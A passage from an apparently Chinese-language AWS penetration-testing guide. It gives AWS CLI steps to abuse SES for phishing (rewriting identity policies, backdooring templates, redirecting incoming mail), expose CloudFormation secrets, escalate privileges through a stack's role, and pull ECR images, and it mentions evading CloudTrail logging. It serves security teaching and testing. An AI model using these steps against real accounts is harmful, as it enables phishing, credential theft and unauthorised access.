如果通过 SES 设置和验证了电子邮件地址,那么它就可以单独用于发送/接收电子邮件,但是如果设置和验证了整个域,那么该域的任何子域中的任何电子邮件地址都可以使用。这意味着如果test.com被设置和验证,可以从admin@test.com、admin@subdomain.test.com、test@test.com或任何其他变体发送电子邮件。这是攻击者喜欢看到的,因为我们可以根据需要定制我们的网络钓鱼攻击。这些信息可能很有帮助,因为我们可能能够发现以前不知道的电子邮件/域,从而更容易制定看起来真实的网络钓鱼攻击。
接下来,一旦我们找到了已验证的域名和/或电子邮件地址,我们将希望确保在同一区域中启用了电子邮件发送。我们可以使用以下 AWS CLI 命令检查:
aws ses get-account-sending-enabled --region us-west-2
这应该返回True或False,取决于us-west-2区域是否启用了电子邮件发送。如果发送被禁用,没有其他已验证域名/电子邮件帐户的区域,并且我们具有"ses:UpdateAccountSendingEnabled"权限,我们可以使用该权限重新启用发送,以便执行我们的网络钓鱼攻击。以下命令将实现这一点:
aws ses update-account-sending-enabled help --enabled --region us-west-2
但是,在他人的环境中运行此命令时要小心,因为可能出于非常特定的原因禁用了发送,再次启用可能会导致未知问题。如果此命令成功,AWS CLI 不会做出任何响应;否则,您将看到一个解释问题的错误。
接下来,我们需要确认该区域中的域名/电子邮件地址是否已验证,可以使用以下命令完成:
aws ses get-identity-verification-attributes --identities admin@example.com test.com
我们应该收到一个响应,指示"admin@example.com"和"test.com"是否已验证。输出应该如下所示:
{
"VerificationAttributes": {
"test.com": {
"VerificationStatus": "Pending",
"VerificationToken": "ZRqAVsKLn+Q8hY3LoADDuwiKrwwxPP1QGk8iHoo+D+5="
},
"admin@example.com": {
"VerificationStatus": "Success"
}
}
}
正如我们所看到的,"test.com"仍在等待验证,因此我们不能用它发送电子邮件,但admin@example.com已成功验证。
因此,我们已经找到了在启用发送的区域中成功验证的身份;现在我们需要检查其身份策略。我们可以使用以下命令完成:
aws ses list-identity-policies --identity admin@example.com
如果返回一个空的策略名称列表,那么这意味着没有策略应用于此身份,这对我们来说是个好消息,因为对于此身份的使用没有限制。如果应用了策略,其名称将显示在响应中,这意味着我们需要跟进使用GetIdentityPolicies命令:
aws ses get-identity-policies --identity admin@example.com --policy-names NameOfThePolicy
这应该返回一个 JSON 文档,指定了我们指定的身份(admin@example.com)可以做什么。就像我们过去看到的那样,这个 JSON 策略将作为一个转义字符串返回给我们,放在另一个 JSON 对象中。该策略应该看起来像这样(将其从转义字符串转换为真正的 JSON 对象以便更容易查看):
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "stmt1242527116212",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::000000000000:user/ExampleAdmin"
},
"Action": "ses:SendEmail",
"Resource": "arn:aws:ses:us-west-2:000000000000:identity/admin@example.com"
}
]
}
这向我们表明,具有"arn:aws:iam::000000000000:user/ExampleAdmin" ARN 的 IAM 用户是唯一可以使用admin@example.com发送电子邮件的实体。这是一个我们需要通过修改此策略来提升我们权限的情况的示例,因为即使我们具有"ses:SendEmail"权限,该策略也阻止我们使用它(因为我们假设我们不是ExampleAdmin IAM 用户)。
为了实现这一点,我们需要修改该策略,将我们自己的用户添加为受信任的主体。为了添加我们自己,我们只需要将 Principal | AWS 的值更改为一个数组,然后将我们自己的用户的 ARN 添加为受信任的主体。这样做之后,策略应该如下所示:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "stmt1242577186212",
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::000000000000:user/ExampleAdmin",
"arn:aws:iam::000000000000:user/CompromisedUser"
]
},
"Action": "ses:SendEmail",
"Resource": "arn:aws:ses:us-west-2:000000000000:identity/admin@example.com"
}
]
}
在此策略中,我们已授予"CompromisedUser"IAM 用户访问权限,我们假设这是我们在渗透测试中受到影响的用户。另一个选择是允许访问您自己的 AWS 帐户,因为 SES 身份策略支持跨帐户发送电子邮件,因此在添加您其他帐户的 ARN 后,您甚至不需要目标帐户的凭据。
我们可以使用 SES PutIdentityPolicy API 更新此策略。
aws ses put-identity-policy --identity admin@example.com --policy-name NameOfThePolicy --policy file://ses-policy-document.json
ses-policy-document.json文件包括我们之前添加的受损用户信任的 JSON。如果更新成功,将不会有任何输出;否则,错误将解释发生了什么。
如果成功,那么我们基本上通过将自己添加为受信任的实体来提升了我们的 SES 身份权限。现在策略允许我们发送电子邮件,并且我们有ses:SendEmail权限,我们几乎准备好进行钓鱼了。
我们需要考虑的最后一件事是当前帐户是否仍在 SES 沙箱中。目前还没有一个很好的方法可以在 AWS CLI 中确定这一点,而不是尝试发送电子邮件,但如果您有 AWS Web 控制台访问权限,那么您将能够找到这些信息。SES 沙箱限制发送电子邮件到您已验证的电子邮件帐户/域之外的任何电子邮件帐户/域。通常,您只能从 SES 中的已验证电子邮件帐户/域发送电子邮件,但如果您的帐户仍在 SES 沙箱中,那么您只能从已验证的电子邮件帐户/域发送电子邮件,并且只能发送到已验证的电子邮件帐户/域。这意味着,在我们的演示帐户中,如果它仍然在 SES 沙箱中,我们只能从admin@example.com发送电子邮件到admin@example.com。必须手动请求解除此限制,因此如果您遇到正在使用 SES 的帐户,很可能会发现他们已经出于自己的业务需求而脱离了 SES 沙箱。
如果您发现一个仍然在 SES 沙箱中但已经验证了域身份的帐户,这意味着您仍然可以从该域的任何电子邮件帐户发送电子邮件到该域的任何电子邮件帐户,这意味着您可能仍然可以滥用这种访问权限来对员工进行内部钓鱼攻击。
如果您使用受损的帐户访问 AWS Web 控制台,可以通过访问 SES 控制台的发送统计页面来检查沙箱访问权限。您需要检查您发现已验证身份的每个区域,以防一个区域仍然在沙箱中,而另一个区域不在。如果帐户仍然在沙箱中,您将在以下截图中看到以下消息:
此截图中的 AWS 帐户仍受限于 us-west-2 的沙箱
当您准备开始发送钓鱼邮件时,值得查看目标可能在其 SES 配置中保存的任何电子邮件模板。这可以让您了解此电子邮件帐户通常在发送电子邮件时使用的格式,以及通常发送的内容类型。您并不总是会在 SES 中找到保存的模板,但当您找到时,它们可能非常有用。我们可以使用ListTemplates API 查找任何现有模板:
aws ses list-templates --region us-west-2
然后我们可以使用GetTemplate API 来查看内容:
aws ses get-template --template-name TheTemplateName --region us-west-2
然后,我们可以围绕一个看起来有希望的模板构建我们的钓鱼邮件。
当所有这些都说完了,我们最终可以使用 SES SendEmail API 发送我们的网络钓鱼邮件。有关设置 CLI 发送电子邮件的更多信息,请参阅 SES 文档中的指南:docs.aws.amazon.com/cli/latest/reference/ses/send-email.html。现在,我们已经成功从合法域名发送了网络钓鱼邮件,使用了合法的模板,几乎可以肯定地欺骗一些最终用户/员工透露敏感信息。
其他攻击
即使我们无法使用 SES SendEmail API,或者我们不想吸引防御者的注意,如果他们使用电子邮件模板,我们仍然可以滥用 SES 进行网络钓鱼。我们可以使用 SES UpdateTemplate API 来更新 SES 中已创建的电子邮件模板的文本/HTML。作为攻击者,我们可以利用这一点基本上建立后门网络钓鱼电子邮件。假设 Example Co.使用 SES 模板发送营销电子邮件。作为攻击者,我们可以进入并修改特定模板,插入恶意链接和内容。然后,每当Example Co.发送他们的营销电子邮件时,我们的恶意链接和内容将被包含在内,大大增加我们的攻击成功的几率。
可以执行的另一个攻击是设置一个收据规则,确定对已验证的电子邮件/域名的传入电子邮件的处理方式。通过使用 SES CreateReceiptRule API,我们可以设置一个收据规则,将所有传入的消息发送到我们攻击者帐户中的自己的 S3 存储桶,然后我们可以读取敏感内容,或者使用收据规则支持的其他选项,如触发 Lambda 函数。
攻击所有 CloudFormation
CloudFormation 是一个非常有用的服务,最近已经成熟了很多。它基本上让你编写代码,然后将其转换为 AWS 资源,使您可以轻松地启动和关闭资源,并从一个中央位置跟踪这些资源。CloudFormation 似乎遇到了一些常规源代码的问题,包括硬编码的秘密,过度宽松的部署等,我们将在这里进行介绍。
在渗透测试 CloudFormation 时有很多要注意的事情。以下列表是我们将在本节中涵盖的内容:
-
堆栈参数
-
堆栈输出值
-
堆栈终止保护
-
已删除的堆栈
-
堆栈导出
-
堆栈模板
-
传递的角色
对于这一部分,我们已经启动了一个简单的 LAMP 堆栈,基于简单的 LAMP 堆栈 CloudFormation 示例模板,但进行了一些修改。
我们要做的第一件事是使用 CloudFormation DescribeStacks API 来收集每个区域的堆栈信息。同样,这些 API 是按区域划分的,因此可能需要在每个区域运行它们,以确保发现所有的堆栈。我们可以通过运行以下 AWS CLI 命令来实现这一点:
aws cloudformation describe-stacks --region us-west-2
这个命令的好处是它将为每个堆栈返回我们想要查看的多个内容。
参数
我们将要检查的第一条有趣信息是存储在"Parameters"下的内容。可用参数在堆栈模板中定义,然后在使用该模板创建新堆栈时传递值。这些参数的名称和值与关联的堆栈一起存储,并显示在"Parameters"键下的 DescribeStacks API 调用响应中。
我们希望找到一些敏感信息被传递到参数中,然后我们可以使用它来进一步访问环境。如果遵循最佳实践,那么理想情况下我们不应该能够在堆栈的参数值中找到任何敏感信息,但我们发现最佳实践并不总是被遵循,某些敏感值偶尔会被漏掉。最佳实践是在定义 CloudFormation 模板中的参数时使用NoEcho属性,这可以防止传递给该参数的值被回显给运行DescribeStacks API 调用的任何人。如果使用NoEcho并将其设置为true,那么在描述堆栈时该参数仍将显示在Parameters下,但其值将被用几个"*"字符进行屏蔽。
对于我们为此演示创建的堆栈,返回以下参数:
"Parameters": [
{
"ParameterKey": "KeyName",
"ParameterValue": "MySSHKey"
},
{
"ParameterKey": "DBPassword",
"ParameterValue": "aPassword2!"
},
{
"ParameterKey": "SSHLocation",
"ParameterValue": "0.0.0.0/0"
},
{
"ParameterKey": "DBName",
"ParameterValue": "CustomerDatabase"
},
{
"ParameterKey": "DBUser",
"ParameterValue": "****"
},
{
"ParameterKey": "DBRootPassword",
"ParameterValue": "aRootPassW0rd@1!"
},
{
"ParameterKey": "InstanceType",
"ParameterValue": "t2.small"
}
]
从这些信息中我们可以得出一些不同的东西。一些基本的信息收集让我们看到有一个名为"MySSHKey"的 SSH 密钥正在使用,允许从"0.0.0.0/0"进行 SSH 访问,有一个名为"CustomerDatabase"的数据库,以及一个"t2.small"类型的 EC2 实例。除此之外,我们还看到一些数据库密码和数据库用户名。
我们可以看到DBUser的值为"****",这很可能意味着DBUser参数已经将"NoEcho"设置为true,因此在尝试从中读取时其值将被屏蔽。DBUser的值也可能是"****",但可以通过查看堆栈的模板来轻松确认这一点,我们可以在那里审查为DBUser参数设置的约束和属性。
由于"DBPassword"和"DBRootPassword"下的明文值,我们知道设计这个 CloudFormation 模板的人犯了一些错误。他们忘记为这两个参数设置"NoEcho",因此每当有人描述当前堆栈时,明文密码都会被返回。这对我们攻击者来说是好事,因为现在我们有了常规数据库用户和数据库根用户的明文密码。我们可以再次分析模板,找出这个数据库可能在哪里或者我们如何访问它,但我们稍后会到达那里。
除了明文密码之外,我们还看到"SSHLocation"被设置为0.0.0.0/0,我们可以假设这意味着某个服务器被设置为允许来自该 IP 范围的 SSH 访问,这意味着任何人都可以访问 SSH 服务器,因为0.0.0.0/0代表所有存在的 IPv4 地址。这对我们来说也是有用的信息,因为也许我们将能够利用服务器上过时的 SSH 软件来获取访问权限或类似的东西。
输出值
接下来,我们将要检查在之前描述 CloudFormation 堆栈时在Outputs下的值。我们正在查看与"Parameters"中基本相同的东西,但这些值是在堆栈创建过程中生成的。同样,我们要寻找敏感信息。对于某些堆栈可能没有输出值,因此如果遇到这种情况,我们在演示的这部分中就没有什么可看的了。在我们的演示中,当我们描述它时,这是显示在堆栈的Outputs部分下的内容:
"Outputs": [
{
"OutputKey": "WebsiteURL",
"OutputValue": "http://ec2-34-221-86-204.us-west-2.compute.amazonaws.com",
"Description": "URL for newly created LAMP stack"
}
]
正如我们所看到的,这里没有太敏感的东西,但它确实给了我们一个 EC2 实例的公共端点,很可能是在创建堆栈时创建的。鉴于"SSHLocation"参数被设置为0.0.0.0/0,我们很可能会在这台服务器上找到一个开放的 SSH 端口(22)。我们可以使用nmap运行服务扫描(-sV)来验证这一点:
22 端口被发现是开放的,并且运行着 OpenSSH 版本 7.4
我们已经验证了服务器上有一个开放的 SSH 端口,就像我们预期的那样。仅通过查看 CloudFormation 堆栈的输出值,我们就能够识别出这个 EC2 实例的公共端点,该端点的端口22是“开放”的,运行着一个 SSH 服务器。
输出值可能包含敏感信息,例如凭据或 API 密钥。例如,当模板需要为新的 IAM 用户创建一组访问密钥时,这可能会发生。然后,这些访问密钥可能会显示在堆栈的输出值中,因为在创建堆栈后,用户需要某种方式来访问它们(docs.aws.amazon.com/AWSCloudFor…
奖励-发现 NoEcho 参数的值
正如我们之前讨论的那样,使用参数上的NoEcho属性可以防止在使用 DescribeStacks API 时显示其值,以便敏感值不会暴露给可以调用该 API 的任何用户。有时(大多数情况下),具有NoEcho属性设置为true的值对我们作为攻击者可能是有用的,因为通常它们可能是密码或 API 密钥。但并非一无所获,因为在拥有适当权限的情况下,您可以揭示用于部署账户中存在的 CloudFormation 堆栈的那些参数的值。
为此,您至少需要具有cloudformation:UpdateStack权限。如果我们想要从先前提到的演示堆栈中揭示NoEcho参数DBUser,我们首先需要使用GetTemplateAPI 命令下载该堆栈的模板。如果我们没有GetTemplate权限,我们可以创建自己的模板,但这实际上会删除堆栈创建的每个资源,而我们没有包含在自定义模板中,因此我们不会涉及到这一点。
将模板保存到当前目录中的template.json中,然后就像前一节一样,创建包含以下数据的params.json:
[
{
"ParameterKey": "KeyName",
"UsePreviousValue": true
},
{
"ParameterKey": "DBPassword",
"UsePreviousValue": true
},
{
"ParameterKey": "DBUser",
"UsePreviousValue": true
},
{
"ParameterKey": "DBRootPassword",
"UsePreviousValue": true
}
]
这样我们就可以更新堆栈的模板,而不修改已传递的参数的值,包括"DBUser"。
然后,需要做的就是删除DBUser参数上的"NoEcho"属性,或将其设置为false。此时,如果我们尝试更新堆栈,我们可能会收到以下消息:
An error occurred (ValidationError) when calling the UpdateStack operation: No updates are to be performed.
这是因为 CloudFormation 没有识别"NoEcho"参数对DBUser的删除/更改。最简单的方法就是在模板的某个地方更改一些字符串。确保不会引起任何问题,比如在某些代码的注释中添加一个空格之类的。确保不要将其插入到某些配置中,这样在重新部署资源时不会引起任何问题。然后,我们可以运行与之前相同的命令来使用这个新模板更新堆栈:
aws cloudformation update-stack --stack-name Test-Lamp-Stack --region us-west-2 --template-body file://template.json --parameters file://params.json
现在,一旦堆栈更新完成,我们应该能够再次描述堆栈,并且可以访问之前在创建堆栈时输入的未经审查的值:
{
"ParameterKey": "DBUser",
"ParameterValue": "admin"
}
从运行 DescribeStacks 的部分输出中可以看出,"DBUser"的值已经被解除掩码,并且显示它被设置为"admin"的值。我们做到了所有这些,并且在不对环境造成任何干扰的情况下发现了秘密值,所以这对我们来说是双赢的。
终止保护
终止保护是一种可以启用的设置,它阻止 CloudFormation 堆栈被删除。要删除启用了终止保护的堆栈,您首先需要禁用它,然后尝试删除堆栈,这需要一组不同的权限,您可能没有这些权限。通常最好在 CloudFormation 堆栈上启用终止保护,因此,尽管它不会直接影响我们作为攻击者(除非我们试图删除所有内容),但检查每个堆栈的终止保护并将其作为环境中的潜在错误配置是很好的做法。要检查此值,我们仍然使用DescribeStacks API,但它要求我们在 API 调用中明确命名堆栈。我们的演示堆栈名为Test-Lamp-Stack,因此要确定该堆栈的终止保护设置,我们可以运行以下 AWS CLI 命令:
aws cloudformation describe-stacks --stack-name Test-Lamp-Stack --region us-west-2
结果应该与我们之前看到的类似,但它们将包括EnableTerminationProtection键,该键设置为true或false,指定了是否启用了终止保护。
删除的堆栈
CloudFormation 还允许您检查已删除的堆栈,但在 CLI 上的过程有点不同。从 AWS Web 控制台 CloudFormation 堆栈页面,有一个下拉框,允许您显示所有已删除的堆栈,就像下面的截图所示:
在 AWS Web 控制台上列出已删除的 CloudFormation 堆栈
从 CLI,我们首先需要运行 CloudFormation ListStacks命令,使用 AWS CLI 看起来像这样:
aws cloudformation list-stacks --region us-west-2
该命令将提供与DescribeStacks命令类似的输出,但它不太冗长。ListStacks命令还包括已删除的 CloudFormation 堆栈,可以通过查看特定堆栈的 StackStatus 键来识别,其中值将为DELETE_COMPLETE。
要获取有关已删除堆栈的更多详细信息,我们必须明确地将它们传递到DescribeStacks命令中。与活动堆栈不同,已删除的堆栈不能通过它们的名称引用,只能通过它们的唯一堆栈 ID 引用。唯一的堆栈 ID 只是ListStacks输出中"StackId"键下的值。它将是一个类似于这样格式的 ARN:
arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836
然后我们可以运行DescribeStacks命令,并将该值传递给--stack-name参数,就像这样:
aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836 --region us-west-2
该命令的输出应该看起来很熟悉,我们现在可以查看与已删除堆栈相关联的参数值和输出值。检查已删除的堆栈是否包含秘密信息非常重要,其中一个原因是,删除堆栈的原因可能是开发人员犯了错误,意外地暴露了敏感信息或类似情况。
导出
CloudFormation 导出允许您在不必担心引用其他堆栈的情况下共享输出值。任何导出的值也将存储在导出它的堆栈的"outputs"下,因此,如果您查看每个活动和已删除堆栈的输出值,您已经查看了导出。查看聚合导出列表可能会有所帮助,以查看每个堆栈可用的信息类型。这可能会更容易了解目标环境和/或 CloudFormation 堆栈的用例。要检索这些数据,我们可以使用 AWS CLI 的ListExports命令:
aws cloudformation list-exports --region us-west-2
输出将告诉您每个导出的名称和值以及导出它的堆栈。
模板
现在我们想查看用于创建我们看到的 CloudFormation 堆栈的实际模板。我们可以使用 CloudFormation GetTemplate命令来实现这一点。此命令的工作方式类似于DescribeStacks命令,我们可以将模板名称传递给--stack-name参数,以检索该特定堆栈的模板。如果要检索已删除堆栈的模板,也需要指定唯一的堆栈 ID 而不是名称。要获取我们的演示堆栈的模板,我们可以运行以下 AWS CLI 命令:
aws cloudformation get-template --stack-name Test-Lamp-Stack --region us-west-2
响应应包括用于创建我们命名的堆栈的 JSON/YAML 模板。
现在我们可以做一些事情,但手动检查模板是最有效的。在开始手动检查之前,对模板本身运行安全扫描可能是有用的,以尝试发现其中指定的资产中的任何安全风险。为此创建的一些工具旨在在持续集成(CI)/ 持续部署(CD)环境中设置和使用,例如 Skyscanner 的"cfripper"(github.com/Skyscanner/cfripper/)。在此示例中,我们将使用 Stelligent 的"cfn_nag"(github.com/stelligent/cfn_nag),它也可以针对包含 CloudFormation 模板的单个文件/目录运行。这些工具通常不会捕捉所有内容,但它们可以帮助识别某些不安全的配置。
要使用cfn_nag(在撰写本文时,这可能会随着工具的更新而改变),我们将假设已安装 Ruby 2.2.x,因此我们可以使用以下命令安装cfn_nag gem:
gem install cfn-nag
然后,我们可以将从 AWS API 检索到的模板保存到文件中,例如template.json或template.yaml,具体取决于您的模板类型。对于我们的演示,我们将其保存到template.json,因此我们可以运行以下命令来扫描模板:
cfn_nag_scan --input-path ./template.json
输出应该看起来像这样:
使用 cfn_nag 扫描我们的 CloudFormation 模板的结果
输出显示,我们扫描的模板输出了1个失败和2个警告。所有三个都与"WebServerSecurityGroup"及其入站/出站规则集相关联。两个警告是关于允许通过该安全组的入站规则过于宽松,但如果该安全组还定义了 SSH 入站规则,那么这两个警告出现是有道理的。这是因为我们知道允许从0.0.0.0/0范围访问 SSH 入站,这不是/32 IP 范围,这意味着允许世界访问。即使有了这些信息,手动检查仍然是值得的。
cfn_nag报告的失败可能在找到一种妥协 EC2 实例的方法之前是无关紧要的,然后我们将开始关心设置了什么出站访问规则。鉴于cfn_nag没有指定规则,这意味着允许所有出站互联网访问,我们不需要担心。
扫描模板后,很可能是时候进行手动检查了。手动检查将为我们提供有关模板设置的资源的大量信息,可能会发现存储在其中的其他敏感信息。在我们喜爱的文本编辑器中打开模板后,我们可以考虑一些事情。我们应该再次检查参数,看看是否有任何硬编码的敏感默认值,但也因为我们可能可以得到有关该参数的确切描述。
正如我们之前预期的那样,查看"SSHLocation"参数,我们可以看到有一个描述,说明可以用于 SSH 到 EC2 实例的 IP 地址范围。我们之前的猜测是正确的,但这是确认这类事情的好方法。"Default"键包含"0.0.0.0/0"值,这意味着我们一直在查看的堆栈正在使用"SSHLocation"参数的默认值。也许我们可以在某些情况下在模板中找到默认密码或 IP 地址的硬编码。
接下来,我们将要检查此模板中定义的资源。在这里,有各种可能遇到的事情。其中一个例子是为创建的 EC2 实例启动脚本。我们可以阅读这些内容,寻找任何敏感信息,同时了解这个堆栈部署的环境的设置/架构。
我们用于堆栈的模板有一些设置脚本,似乎是设置了一个 MySQL 数据库和一个 PHP Web 服务器。理想情况下,我们可以访问其中一个或两个,因此我们可以滚动到之前cfn_nag标记的"WebServerSecurityGroup",我们看到以下内容:
"WebServerSecurityGroup" : {
"Type" : "AWS::EC2::SecurityGroup",
"Properties" : {
"GroupDescription" : "Enable HTTP access via port 80",
"SecurityGroupIngress" : [
{"IpProtocol" : "tcp", "FromPort" : "80", "ToPort" : "80", "CidrIp" : "0.0.0.0/0"},
{"IpProtocol" : "tcp", "FromPort" : "22", "ToPort" : "22", "CidrIp" : { "Ref" : "SSHLocation"}}
]
}
}
这告诉我们 Web 服务器安全组允许从任何 IP 地址(0.0.0.0/0)对端口80进行入站访问,并允许从"SSHLocation"参数对端口22进行入站访问,我们知道"SSHLocation"参数也设置为0.0.0.0/0。现在我们可以回到之前检查这个堆栈的输出值,再次获取服务器的主机名,现在我们知道端口80是开放的。如果我们在浏览器中导航到该 URL(ec2-34-221-86-204.us-west-2.compute.amazonaws.com/),我们将看到以下页面:
由 CloudFormation 堆栈部署的 EC2 实例上托管的 Web 服务器
除了我们刚刚做的事情之外,CloudFormation 模板可以被检查以确定堆栈部署的各种资源的设置,这可以帮助我们识别资源、错误配置、硬编码的秘密等,而无需具有授予对这些实际资源访问权限的 AWS 权限。
通过的角色
创建 CloudFormation 堆栈时,有一个选项可以为其传递 IAM 角色进行部署过程。如果传递了角色,则将使用该角色创建堆栈,但如果没有传递角色,则 CloudFormation 将只使用当前用户的权限来部署堆栈。这打开了通过已经在创建时传递了角色的堆栈进行权限提升的可能性。
假设我们被入侵的用户具有"cloudformation:*"权限,但没有"iam:PassRole"权限。这意味着我们无法通过创建一个新的堆栈并传递给它比我们拥有的更高权限的角色来提升我们的权限(因为这需要"iam:PassRole"权限),但这意味着我们可以修改现有的堆栈。
要确定是否有 CloudFormation 堆栈已经传递了角色,我们可以回到DescribeStacks命令的输出。如果一个堆栈具有"RoleARN"键,并且其值是 IAM 角色的 ARN,则该堆栈已经传递了一个角色。如果该键没有显示,则在创建时该堆栈没有传递角色。我们创建的演示堆栈已经传递了一个角色。
现在,如果我们有必要的 IAM 权限,我们可以使用 IAM API 来确定传递给该堆栈的角色具有哪些权限,但如果没有,我们可以根据一些不同的事情进行推断。首先,角色的名称可能是一个小提示,比如如果它包括"EC2FullAccessForCloudFormation",那么可以安全地假设该角色对 EC2 具有完全访问权限。更可靠但不一定完整的权限集可以根据堆栈部署的资源进行推断。如果某个堆栈部署了一个 EC2 实例,为其创建了安全组,创建了一个 S3 存储桶,并设置了一个 RDS 数据库,那么可以安全地假设该角色有权执行所有这些操作。在我们的情况下,这比"cloudformation:*"更多地访问了 AWS API,因此我们可以滥用该堆栈来进一步访问环境。
有几种方法可以检查,包括仅查看我们之前查看的原始 CloudFormation 模板,或者我们可以使用DescribeStackResources命令列出该堆栈创建的资源,然后从那里进行我们的访问假设。这可以通过从 AWS CLI 运行以下命令来完成:
aws cloudformation describe-stack-resources --stack-name Test-Lamp-Stack --region us-west-2
我们的演示堆栈的输出如下:
{
"StackResources": [
{
"StackName": "Test-Lamp-Stack",
"StackId": "arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836",
"LogicalResourceId": "WebServerInstance",
"PhysicalResourceId": "i-0caa63d9f77b06d90",
"ResourceType": "AWS::EC2::Instance",
"Timestamp": "2018-12-26T18:55:59.189Z",
"ResourceStatus": "CREATE_COMPLETE",
"DriftInformation": {
"StackResourceDriftStatus": "NOT_CHECKED"
}
},
{
"StackName": "Test-Lamp-Stack",
"StackId": "arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836",
"LogicalResourceId": "WebServerSecurityGroup",
"PhysicalResourceId": "Test-Lamp-Stack-WebServerSecurityGroup-RA2RW6FRBYXX",
"ResourceType": "AWS::EC2::SecurityGroup",
"Timestamp": "2018-12-26T18:54:39.981Z",
"ResourceStatus": "CREATE_COMPLETE",
"DriftInformation": {
"StackResourceDriftStatus": "NOT_CHECKED"
}
}
]
}
我们可以看到这里创建了一个 EC2 实例和一个 EC2 安全组,因此我们可以假设附加到该堆栈的角色至少具有执行这两项操作的权限。然后,为了利用这些权限并提升我们自己的权限,我们可以使用UpdateStack命令。这允许我们更新/更改与我们正在定位的堆栈相关联的模板,从而允许我们添加/删除资源到列表中。为了在环境中造成较小的干扰,我们可以从堆栈中提取现有模板,然后只向其中添加资源,以尽可能少地造成干扰。这是因为未更改的现有资源将不会被修改,因此我们不会造成拒绝服务。
在这一点上,下一步取决于情况。如果发现某个堆栈具有 IAM 权限,可以向模板添加一些 IAM 资源,以允许您提升访问权限,或者如果发现某个堆栈具有 EC2 权限,就像我们在这里所做的那样,可以添加一堆带有您自己 SSH 密钥的 EC2 实例。如果我们继续向我们的演示堆栈添加一些 EC2 实例,可能会获得对它们用于这些资源的 VPC 内部的访问权限,然后可能会进一步授予我们对环境的更高特权访问。
执行此攻击的示例命令可能如下所示:
aws cloudformation update-stack --stack-name Test-Lamp-Stack --region us-west-2 --template-body file://template.json --parameters file://params.json
template.json文件将包括您更新的 CloudFormation 模板,params.json将包括一些指示堆栈使用所有已提供的参数而不是新参数的内容:
[
{
"ParameterKey": "KeyName",
"UsePreviousValue": true
},
{
"ParameterKey": "DBPassword",
"UsePreviousValue": true
},
{
"ParameterKey": "DBUser",
"UsePreviousValue": true
},
{
"ParameterKey": "DBRootPassword",
"UsePreviousValue": true
}
]
现在,堆栈将更新并创建您的新资源,您将成功地使用传递的角色权限在 AWS 中执行 API 操作,有效地提升了自己的权限。
弹性容器注册表(ECR)
ECR 被描述为一个完全托管的 Docker 容器注册表,使开发人员可以轻松存储、管理和部署 Docker 容器映像(aws.amazon.com/ecr/)。它使用的权限模型可以允许一些令人讨厌的错误配置,如果存储库没有正确设置,主要是因为按设计,ECR 存储库可以被设置为公共或与其他帐户共享。这意味着,即使我们只有少量访问权限,错误配置的存储库也可能根据其托管的 Docker 映像中存储的内容,向我们授予对环境的大量访问权限。
如果我们正在针对另一个账户中的公共仓库,那么我们需要的主要信息是仓库所在的账户 ID。有几种获取它的方法。如果您拥有您正在针对的账户的凭据,最简单的方法是使用Simple Token Service(STS)GetCallerIdentity API,它将为您提供一些包括您的账户 ID 在内的信息。该命令将如下所示:
aws sts get-caller-identity
这种方法的问题在于它被记录到了 CloudTrail 中,并清楚地显示您正在尝试收集有关您的用户/您所在账户的信息,这可能会引起防御者的警觉。还有其他方法,特别是基于 Rhino Security Labs 的研究,他们发布了一个脚本来枚举有关当前账户的少量信息,而不会触及 CloudTrail。这是通过某些服务披露的冗长错误消息来完成的,而这些服务尚不受 CloudTrail 支持,因此没有记录 API 调用的记录,但用户收集了一些信息,包括账户 ID(rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。
如果您正在针对您已经入侵并使用这些凭据进行这些 API 调用的账户中的仓库,则账户 ID 将无关紧要,因为在大多数情况下它将自动默认为当前账户。我们首先要做的是列出账户中的仓库。这可以通过以下命令完成(如果您正在针对不同的账户,请将账户 ID 传递给--registry-id参数):
aws ecr describe-repositories --region us-west-2
这应该列出当前区域中的仓库,包括它们的 ARN、注册表 ID、名称、URL 以及创建时间。我们的示例返回了以下输出:
{
"repositories": [
{
"repositoryArn": "arn:aws:ecr:us-west-2:000000000000:repository/example-repo",
"registryId": "000000000000",
"repositoryName": "example-repo",
"repositoryUri": "000000000000.dkr.ecr.us-west-2.amazonaws.com/example-repo",
"createdAt": 1545935093.0
}
]
}
然后我们可以使用ListImages命令获取存储在该仓库中的所有镜像。对于我们之前找到的example-repo,它将看起来像这样:
aws ecr list-images --repository-name example-repo --region us-west-2
这个命令将给我们一个镜像列表,包括它们的摘要和镜像标签:
{
"imageIds": [
{
"imageDigest": "sha256:afre1386e3j637213ab22f1a0551ff46t81aa3150cbh3b3a274h3d10a540r268",
"imageTag": "latest"
}
]
}
现在我们可以(希望)将这个镜像拉到我们的本地机器并运行它,以便我们可以看到里面有什么。我们可以通过运行以下命令来完成这个操作(再次,如果需要,请在--registry-id参数中指定外部账户 ID):
$(aws ecr get-login --no-include-email --region us-west-2)
AWS 命令返回所需的 docker 命令,以便将您登录到目标注册表,并且其中的$()将自动执行该命令并将您登录。运行后,您应该在控制台上看到登录成功的打印输出。接下来,我们可以使用 Docker 来拉取镜像,现在我们已经通过仓库进行了身份验证:
docker pull 000000000000.dkr.ecr.us-west-2.amazonaws.com/example-repo:latest
现在 Docker 镜像应该被拉取,并且如果您运行docker images来列出 Docker 镜像,它应该是可用的。
在将其拉下来后,列出example-repo Docker 镜像
接下来,我们将要运行这个镜像,并在其中的 bash shell 中放置自己,这样我们就可以探索文件系统并寻找任何好东西。我们可以通过以下方式来完成这个操作:
docker run -it --entrypoint /bin/bash 000000000000.dkr.ecr.us-west-2.amazonaws.com/example-repo:latest
现在我们的 shell 应该从本地机器切换到 Docker 容器,作为 root 用户:
使用 Docker 运行命令进入我们正在启动的容器中的 bash shell
这是您可以使用常规渗透测试技术搜索操作系统的地方。您应该寻找诸如源代码、配置文件、日志、环境文件或任何听起来有趣的东西。
